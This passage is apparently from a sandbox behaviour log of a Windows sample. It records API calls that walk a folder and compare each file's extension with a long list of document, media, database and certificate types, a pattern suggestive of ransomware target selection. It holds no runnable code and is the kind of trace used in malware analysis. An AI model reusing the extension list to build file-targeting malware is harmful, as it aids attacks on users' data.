lpString2=".rtf") returned -1 [0079.260] lstrlenW (lpString=".asx") returned 4 [0079.260] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0079.260] lstrlenW (lpString=".avi") returned 4 [0079.260] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0079.260] lstrlenW (lpString=".avs") returned 4 [0079.260] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0079.260] lstrlenW (lpString=".backup") returned 7 [0079.260] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0079.260] lstrlenW (lpString=".bak") returned 4 [0079.260] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0079.260] lstrlenW (lpString=".bay") returned 4 [0079.260] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0079.260] lstrlenW (lpString=".bd") returned 3 [0079.260] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0079.260] lstrlenW (lpString=".bin") returned 4 [0079.260] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0079.260] lstrlenW (lpString=".bmp") returned 4 [0079.260] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0079.260] lstrlenW (lpString=".bz2") returned 4 [0079.260] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0079.260] lstrlenW (lpString=".c") returned 2 [0079.260] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0079.260] lstrlenW (lpString=".cdr") returned 4 [0079.260] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0079.260] lstrlenW (lpString=".cer") returned 4 [0079.260] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0079.260] lstrlenW (lpString=".cf") returned 3 [0079.260] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0079.261] lstrlenW (lpString=".cfc") returned 4 [0079.261] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0079.261] lstrlenW (lpString=".cfm") returned 4 [0079.261] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0079.261] lstrlenW (lpString=".cfml") returned 5 [0079.261] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0079.261] lstrlenW (lpString=".cfu") returned 4 [0079.261] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0079.261] lstrlenW (lpString=".chm") returned 4 [0079.261] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0079.261] lstrlenW (lpString=".cin") returned 4 [0079.261] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0079.261] lstrlenW (lpString=".class") returned 6 [0079.261] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0079.261] lstrlenW (lpString=".clx") returned 4 [0079.261] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0079.261] lstrlenW (lpString=".config") returned 7 [0079.261] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0079.261] lstrlenW (lpString=".cpp") returned 4 [0079.261] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0079.261] lstrlenW (lpString=".cr2") returned 4 [0079.261] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0079.261] lstrlenW (lpString=".crt") returned 4 [0079.261] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0079.261] lstrlenW (lpString=".crw") returned 4 [0079.261] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0079.261] lstrlenW (lpString=".cs") returned 3 [0079.261] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0079.261] lstrlenW (lpString=".css") returned 4 [0079.261] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0079.261] lstrlenW (lpString=".csv") returned 4 [0079.261] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".cub") returned 4 [0079.262] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".dae") returned 4 [0079.262] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".dat") returned 4 [0079.262] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".db") returned 3 [0079.262] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0079.262] lstrlenW (lpString=".dbf") returned 4 [0079.262] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".dbx") returned 4 [0079.262] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".dc3") returned 4 [0079.262] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".dcm") returned 4 [0079.262] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".dcr") returned 4 [0079.262] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".der") returned 4 [0079.262] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".dib") returned 4 [0079.262] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".dic") returned 4 [0079.262] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".dif") returned 4 [0079.262] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".divx") returned 5 [0079.262] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0079.262] lstrlenW (lpString=".djvu") returned 5 [0079.262] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0079.262] lstrlenW (lpString=".dng") returned 4 [0079.262] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0079.262] lstrlenW (lpString=".doc") returned 4 [0079.262] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0079.263] lstrlenW (lpString=".docm") returned 5 [0079.263] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0079.263] lstrlenW (lpString=".docx") returned 5 [0079.263] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0079.263] lstrlenW (lpString=".dot") returned 4 [0079.263] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0079.263] lstrlenW (lpString=".dotm") returned 5 [0079.263] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0079.263] lstrlenW (lpString=".dotx") returned 5 [0079.263] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0079.263] lstrlenW (lpString=".dpx") returned 4 [0079.263] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0079.263] lstrlenW (lpString=".dqy") returned 4 [0079.263] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0079.263] lstrlenW (lpString=".dsn") returned 4 [0079.263] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0079.263] lstrlenW (lpString=".dt") returned 3 [0079.263] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0079.263] lstrlenW (lpString=".dtd") returned 4 [0079.263] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0079.263] lstrlenW (lpString=".dwg") returned 4 [0079.263] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0079.263] lstrlenW (lpString=".dwt") returned 4 [0079.263] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0079.263] lstrlenW (lpString=".dx") returned 3 [0079.263] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0079.263] lstrlenW (lpString=".dxf") returned 4 [0079.263] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0079.263] lstrlenW (lpString=".edml") returned 5 [0079.263] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0079.263] lstrlenW (lpString=".efd") returned 4 [0079.263] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".elf") returned 4 [0079.264] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".emf") returned 4 [0079.264] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".emz") returned 4 [0079.264] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".epf") returned 4 [0079.264] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".eps") returned 4 [0079.264] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".epsf") returned 5 [0079.264] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0079.264] lstrlenW (lpString=".epsp") returned 5 [0079.264] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0079.264] lstrlenW (lpString=".erf") returned 4 [0079.264] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".exr") returned 4 [0079.264] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".f4v") returned 4 [0079.264] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".fido") returned 5 [0079.264] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0079.264] lstrlenW (lpString=".flm") returned 4 [0079.264] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".flv") returned 4 [0079.264] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".frm") returned 4 [0079.264] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".fxg") returned 4 [0079.264] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".geo") returned 4 [0079.264] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0079.264] lstrlenW (lpString=".gif") returned 4 [0079.264] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".grs") returned 4 [0079.265] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".gz") returned 3 [0079.265] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0079.265] lstrlenW (lpString=".h") returned 2 [0079.265] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0079.265] lstrlenW (lpString=".hdr") returned 4 [0079.265] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".hpp") returned 4 [0079.265] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".hta") returned 4 [0079.265] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".htc") returned 4 [0079.265] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".htm") returned 4 [0079.265] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".html") returned 5 [0079.265] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0079.265] lstrlenW (lpString=".icb") returned 4 [0079.265] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".ics") returned 4 [0079.265] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".iff") returned 4 [0079.265] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".inc") returned 4 [0079.265] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".indd") returned 5 [0079.265] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0079.265] lstrlenW (lpString=".ini") returned 4 [0079.265] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".iqy") returned 4 [0079.265] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0079.265] lstrlenW (lpString=".j2c") returned 4 [0079.266] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".j2k") returned 4 [0079.266] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".java") returned 5 [0079.266] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0079.266] lstrlenW (lpString=".jp2") returned 4 [0079.266] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".jpc") returned 4 [0079.266] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".jpe") returned 4 [0079.266] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".jpeg") returned 5 [0079.266] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0079.266] lstrlenW (lpString=".jpf") returned 4 [0079.266] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".jpg") returned 4 [0079.266] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".jpx") returned 4 [0079.266] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".js") returned 3 [0079.266] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0079.266] lstrlenW (lpString=".jsf") returned 4 [0079.266] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".json") returned 5 [0079.266] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0079.266] lstrlenW (lpString=".jsp") returned 4 [0079.266] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".kdc") returned 4 [0079.266] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".kmz") returned 4 [0079.266] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".kwm") returned 4 [0079.266] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0079.266] lstrlenW (lpString=".lasso") returned 6 [0079.267] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0079.267] lstrlenW (lpString=".lbi") returned 4 [0079.267] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".lgf") returned 4 [0079.267] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".lgp") returned 4 [0079.267] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".log") returned 4 [0079.267] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".m1v") returned 4 [0079.267] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".m4a") returned 4 [0079.267] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".m4v") returned 4 [0079.267] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".max") returned 4 [0079.267] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".md") returned 3 [0079.267] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0079.267] lstrlenW (lpString=".mda") returned 4 [0079.267] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".mdb") returned 4 [0079.267] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".mde") returned 4 [0079.267] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".mdf") returned 4 [0079.267] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".mdw") returned 4 [0079.267] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".mef") returned 4 [0079.267] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".mft") returned 4 [0079.267] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0079.267] lstrlenW (lpString=".mfw") returned 4 [0079.268] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".mht") returned 4 [0079.268] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".mhtml") returned 6 [0079.268] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0079.268] lstrlenW (lpString=".mka") returned 4 [0079.268] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".mkidx") returned 6 [0079.268] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0079.268] lstrlenW (lpString=".mkv") returned 4 [0079.268] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".mos") returned 4 [0079.268] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".mov") returned 4 [0079.268] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".mp3") returned 4 [0079.268] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".mp4") returned 4 [0079.268] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".mpeg") returned 5 [0079.268] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0079.268] lstrlenW (lpString=".mpg") returned 4 [0079.268] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".mpv") returned 4 [0079.268] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".mrw") returned 4 [0079.268] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".msg") returned 4 [0079.268] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".mxl") returned 4 [0079.268] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".myd") returned 4 [0079.268] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0079.268] lstrlenW (lpString=".myi") returned 4 [0079.268] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".nef") returned 4 [0079.269] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".nrw") returned 4 [0079.269] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".obj") returned 4 [0079.269] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".odb") returned 4 [0079.269] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".odc") returned 4 [0079.269] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".odm") returned 4 [0079.269] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".odp") returned 4 [0079.269] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".ods") returned 4 [0079.269] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".oft") returned 4 [0079.269] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".one") returned 4 [0079.269] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".onepkg") returned 7 [0079.269] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0079.269] lstrlenW (lpString=".onetoc2") returned 8 [0079.269] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0079.269] lstrlenW (lpString=".opt") returned 4 [0079.269] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".oqy") returned 4 [0079.269] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".orf") returned 4 [0079.269] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0079.269] lstrlenW (lpString=".p12") returned 4 [0079.269] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".p7b") returned 4 [0079.270] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".p7c") returned 4 [0079.270] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pam") returned 4 [0079.270] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pbm") returned 4 [0079.270] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pct") returned 4 [0079.270] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pcx") returned 4 [0079.270] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pdd") returned 4 [0079.270] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pdf") returned 4 [0079.270] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pdp") returned 4 [0079.270] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pef") returned 4 [0079.270] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pem") returned 4 [0079.270] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pff") returned 4 [0079.270] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pfm") returned 4 [0079.270] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pfx") returned 4 [0079.270] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0079.270] lstrlenW (lpString=".pgm") returned 4 [0079.270] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0079.271] lstrlenW (lpString=".php") returned 4 [0079.271] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0079.271] lstrlenW (lpString=".php3") returned 5 [0079.271] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0079.271] lstrlenW (lpString=".php4") returned 5 [0079.271] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0079.271] lstrlenW (lpString=".php5") returned 5 [0079.271] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0079.271] lstrlenW (lpString=".phtml") returned 6 [0079.271] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0079.271] lstrlenW (lpString=".pict") returned 5 [0079.271] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0079.271] lstrlenW (lpString=".pl") returned 3 [0079.271] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0079.271] lstrlenW (lpString=".pls") returned 4 [0079.271] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0079.271] lstrlenW (lpString=".pm") returned 3 [0079.271] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0079.271] lstrlenW (lpString=".png") returned 4 [0079.271] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0079.271] lstrlenW (lpString=".pnm") returned 4 [0079.271] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0079.271] lstrlenW (lpString=".pot") returned 4 [0079.271] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0079.271] lstrlenW (lpString=".potm") returned 5 [0079.271] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0079.271] lstrlenW (lpString=".potx") returned 5 [0079.271] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0079.272] lstrlenW (lpString=".ppa") returned 4 [0079.272] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0079.272] lstrlenW (lpString=".ppam") returned 5 [0079.272] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0079.272] lstrlenW (lpString=".ppm") returned 4 [0079.272] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0079.272] lstrlenW (lpString=".pps") returned 4 [0079.272] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0079.272] lstrlenW (lpString=".ppsm") returned 5 [0079.272] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0079.272] lstrlenW (lpString=".ppt") returned 4 [0079.272] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0079.272] lstrlenW (lpString=".pptm") returned 5 [0079.272] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0079.272] lstrlenW (lpString=".pptx") returned 5 [0079.272] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0079.272] lstrlenW (lpString=".prn") returned 4 [0079.272] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0079.272] lstrlenW (lpString=".ps") returned 3 [0079.272] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0079.272] lstrlenW (lpString=".psb") returned 4 [0079.272] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0079.272] lstrlenW (lpString=".psd") returned 4 [0079.272] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0079.272] lstrlenW (lpString=".pst") returned 4 [0079.272] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0079.272] lstrlenW (lpString=".ptx") returned 4 [0079.272] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0079.273] lstrlenW (lpString=".pub") returned 4 [0079.273] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0079.273] lstrlenW (lpString=".pwm") returned 4 [0079.273] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0079.273] lstrlenW (lpString=".pxr") returned 4 [0079.273] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0079.273] lstrlenW (lpString=".py") returned 3 [0079.273] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0079.273] lstrlenW (lpString=".qt") returned 3 [0079.273] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0079.273] lstrlenW (lpString=".r3d") returned 4 [0079.273] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0079.273] lstrlenW (lpString=".raf") returned 4 [0079.273] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0079.273] lstrlenW (lpString=".rar") returned 4 [0079.273] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0079.273] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0079.273] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0079.274] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, 